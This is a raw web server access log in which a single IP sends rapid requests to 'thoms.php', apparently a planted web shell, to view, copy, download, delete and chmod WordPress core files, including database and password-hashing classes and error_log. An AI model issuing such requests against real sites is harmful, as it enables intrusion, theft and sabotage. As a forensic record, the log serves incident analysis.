45.135.193.11 - - [11/Sep/2026:23:41:13 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-filter-sentinel.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11882 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-filter-sentinel.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:13 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=feed.php HTTP/1.1" 200 19816 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=feed.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:13 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=https-detection.php HTTP/1.1" 200 14075 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=https-detection.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:13 -0400] "GET /thoms.php?del=js&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59226 "http://163.245.207.76:443/thoms.php?del=js&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:13 -0400] "GET /thoms.php?dl=class-wp-http-requests-response.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-requests-response.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:14 -0400] "GET /thoms.php?chmod=link-template.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11517 "http://163.245.207.76:443/thoms.php?chmod=link-template.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:14 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fphp-ai-client&p= HTTP/1.1" 200 12411 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fphp-ai-client&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:14 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fcanonical.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11872 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fcanonical.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:14 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-json.php HTTP/1.1" 200 22283 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-json.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:14 -0400] "GET /thoms.php?del=abilities-api&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=abilities-api&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:14 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=feed-rss.php HTTP/1.1" 200 12547 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=feed-rss.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:14 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-feed.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11873 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-feed.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:14 -0400] "GET /thoms.php?del=class-wp-session-tokens.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59191 "http://163.245.207.76:443/thoms.php?del=class-wp-session-tokens.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:14 -0400] "GET /thoms.php?chmod=class-wp-connector-registry.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11529 "http://163.245.207.76:443/thoms.php?chmod=class-wp-connector-registry.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:15 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-oembed-controller.php HTTP/1.1" 200 14328 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-oembed-controller.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:14 -0400] "GET /thoms.php?del=class-wp-http-requests-hooks.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59255 "http://163.245.207.76:443/thoms.php?del=class-wp-http-requests-hooks.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:15 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&upload= HTTP/1.1" 200 12180 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:15 -0400] "GET /thoms.php?del=class-wp-oembed-controller.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59226 "http://163.245.207.76:443/thoms.php?del=class-wp-oembed-controller.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:15 -0400] "GET /thoms.php?del=feed-atom.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=feed-atom.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:15 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fimages&p= HTTP/1.1" 200 12415 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fimages&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:15 -0400] "GET /thoms.php?chmod=cache.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11508 "http://163.245.207.76:443/thoms.php?chmod=cache.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:15 -0400] "GET /thoms.php?del=bookmark.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?del=bookmark.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:15 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-simplepie-file.php HTTP/1.1" 200 13442 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-simplepie-file.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:15 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fdate.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11865 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fdate.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:15 -0400] "GET /thoms.php?dl=class-simplepie.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=class-simplepie.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:16 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fpluggable.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11874 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fpluggable.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:16 -0400] "GET /thoms.php?chmod=rest-api&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=rest-api&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:16 -0400] "GET /thoms.php?chmod=class-wp-block-list.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-list.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:16 -0400] "GET /thoms.php?chmod=class-wp-recovery-mode-cookie-service.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11554 "http://163.245.207.76:443/thoms.php?chmod=class-wp-recovery-mode-cookie-service.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:16 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-recovery-mode-email-service.php HTTP/1.1" 200 15858 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-recovery-mode-email-service.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:16 -0400] "GET /thoms.php?dl=class-wp-block-supports.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59185 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-supports.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:16 -0400] "GET /thoms.php?dl=class-wp-oembed-controller.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59250 "http://163.245.207.76:443/thoms.php?dl=class-wp-oembed-controller.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:16 -0400] "GET /thoms.php?dl=link-template.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=link-template.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:16 -0400] "GET /thoms.php?dl=pluggable.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?dl=pluggable.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:17 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=category-template.php HTTP/1.1" 200 28734 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=category-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:17 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-term-query.php HTTP/1.1" 200 23461 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-term-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:17 -0400] "GET /thoms.php?chmod=cron.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=cron.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:17 -0400] "GET /thoms.php?del=class-wp-matchesmapregex.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59217 "http://163.245.207.76:443/thoms.php?del=class-wp-matchesmapregex.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:17 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=feed-atom-comments.php HTTP/1.1" 200 13936 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=feed-atom-comments.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:17 -0400] "GET /thoms.php?dl=class-wpdb.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?dl=class-wpdb.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:17 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=atomlib.php HTTP/1.1" 200 15845 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=atomlib.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:17 -0400] "GET /thoms.php?chmod=class-oembed.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=class-oembed.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:17 -0400] "GET /thoms.php?del=feed-rss2.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=feed-rss2.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:18 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-dependencies.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-dependencies.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:18 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Ffeed-rss2.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11875 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Ffeed-rss2.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:18 -0400] "GET /thoms.php?del=error_log&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59219 "http://163.245.207.76:443/thoms.php?del=error_log&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:18 -0400] "GET /thoms.php?dl=feed-rss2.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59226 "http://163.245.207.76:443/thoms.php?dl=feed-rss2.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:18 -0400] "GET /thoms.php?del=rss-functions.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59215 "http://163.245.207.76:443/thoms.php?del=rss-functions.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:18 -0400] "GET /thoms.php?del=script-loader.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59218 "http://163.245.207.76:443/thoms.php?del=script-loader.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:18 -0400] "GET /thoms.php?chmod=block-template.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=block-template.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:19 -0400] "GET /thoms.php?chmod=default-widgets.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=default-widgets.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:19 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=media-template.php HTTP/1.1" 200 29250 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=media-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:19 -0400] "GET /thoms.php?dl=class-walker-comment.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59197 "http://163.245.207.76:443/thoms.php?dl=class-walker-comment.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:19 -0400] "GET /thoms.php?del=class-wp-hook.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?del=class-wp-hook.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:19 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=script-modules.php HTTP/1.1" 200 15145 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=script-modules.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:19 -0400] "GET /thoms.php?chmod=php-ai-client&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11529 "http://163.245.207.76:443/thoms.php?chmod=php-ai-client&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:19 -0400] "GET /thoms.php?dl=wp-db.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59224 "http://163.245.207.76:443/thoms.php?dl=wp-db.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:19 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-connector-registry.php HTTP/1.1" 200 15816 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-connector-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:19 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-post.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-post.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:20 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-email-service.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11898 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-recovery-mode-email-service.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:20 -0400] "GET /thoms.php?chmod=https-migration.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=https-migration.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:20 -0400] "GET /thoms.php?del=ms-load.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59216 "http://163.245.207.76:443/thoms.php?del=ms-load.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:20 -0400] "GET /thoms.php?dl=nav-menu.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59225 "http://163.245.207.76:443/thoms.php?dl=nav-menu.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:20 -0400] "GET /thoms.php?dl=block-template-utils.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59226 "http://163.245.207.76:443/thoms.php?dl=block-template-utils.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:20 -0400] "GET /thoms.php?dl=class-phpass.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59227 "http://163.245.207.76:443/thoms.php?dl=class-phpass.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:21 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-block-templates-registry.php HTTP/1.1" 200 13973 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes&view=class-wp-block-templates-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:41:21 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-script-modules.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11895 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes%2Fclass-wp-script-modules.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
